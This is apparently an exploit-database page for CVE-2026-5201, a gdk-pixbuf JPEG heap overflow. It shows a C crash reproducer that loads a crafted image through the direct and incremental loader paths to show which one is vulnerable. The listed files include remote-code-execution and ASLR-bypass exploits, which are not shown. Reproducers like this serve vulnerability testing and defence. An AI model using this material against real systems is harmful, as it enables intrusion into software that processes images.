Exploit databaseDownload repository ZIP
GH-4b763809ff94b14c1cefeaf27ef7ad7e
kagancapar/cve-2026-5201
Sources for CVE-2026-5201
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files8
kagancapar/cve-2026-5201Revision 1996c201b45e
- ↑..Parent directory
- analyze_jpeg.py
- aslr_bypass.c
- crash_test.c
- find_dispose.c
- heap_analysis.c
- pixel_control_test.c
- rce_32bit.c
- rce_shell.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/crash_test.c
C · 3,047 bytes/*
* CVE-2026-5201 — gdk-pixbuf heap overflow crash reproducer
*
* Tests both the direct and incremental loading paths to demonstrate
* that only gdk_pixbuf_new_from_file() is vulnerable.
*
* Build:
* gcc -g -fsanitize=address -o crash_test crash_test.c \
* $(pkg-config --cflags --libs gdk-pixbuf-2.0)
*
* Run:
* ./crash_test cve_2026_5201.jpg
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <gdk-pixbuf/gdk-pixbuf.h>
int main(int argc, char *argv[]) {
const char *filename;
GError *error = NULL;
GdkPixbuf *pixbuf;
if (argc < 2) {
fprintf(stderr, "Usage: %s <jpeg-file>\n", argv[0]);
return 1;
}
filename = argv[1];
printf("[*] Loading JPEG via gdk-pixbuf: %s\n", filename);
printf("[*] gdk-pixbuf version: %s\n", gdk_pixbuf_version);
printf("[*] Loader: JPEG\n\n");
/* Test 1: Direct file loading path (VULNERABLE) */
printf("[TEST 1] gdk_pixbuf_new_from_file()\n");
pixbuf = gdk_pixbuf_new_from_file(filename, &error);
if (pixbuf) {
printf("[+] Loaded: %dx%d, %d channels, %d bpp\n",
gdk_pixbuf_get_width(pixbuf),
gdk_pixbuf_get_height(pixbuf),
gdk_pixbuf_get_n_channels(pixbuf),
gdk_pixbuf_get_bits_per_sample(pixbuf));
g_object_unref(pixbuf);
} else {
printf("[-] Error: %s\n", error->message);
g_error_free(error);
error = NULL;
}
printf("\n");
/* Test 2: Incremental loader path (SAFE — has validation) */
printf("[TEST 2] GdkPixbufLoader (incremental)\n");
GdkPixbufLoader *loader = gdk_pixbuf_loader_new_with_type("jpeg", &error);
if (!loader) {
printf("[-] Failed to create loader: %s\n", error->message);
g_error_free(error);
return 1;
}
FILE *f = fopen(filename, "rb");
if (!f) {
printf("[-] Failed to open file\n");
g_object_unref(loader);
return 1;
}
unsigned char buf[4096];
size_t total = 0;
size_t n;
while ((n = fread(buf, 1, sizeof(buf), f)) > 0) {
total += n;
gboolean ok = gdk_pixbuf_loader_write(loader, buf, n, &error);
if (!ok) {
printf("[-] Loader write error (byte %zu): %s\n", total, error->message);
g_error_free(error);
error = NULL;
break;
}
}
fclose(f);
printf("[*] %zu bytes loaded\n", total);
gdk_pixbuf_loader_close(loader, &error);
if (error) {
printf("[-] Loader close error: %s\n", error->message);
g_error_free(error);
error = NULL;
}
pixbuf = gdk_pixbuf_loader_get_pixbuf(loader);
if (pixbuf) {
printf("[+] Loaded: %dx%d, %d channels\n",
gdk_pixbuf_get_width(pixbuf),
gdk_pixbuf_get_height(pixbuf),
gdk_pixbuf_get_n_channels(pixbuf));
} else {
printf("[-] No pixbuf returned\n");
}
g_object_unref(loader);
printf("\n[*] Test complete.\n");
return 0;
}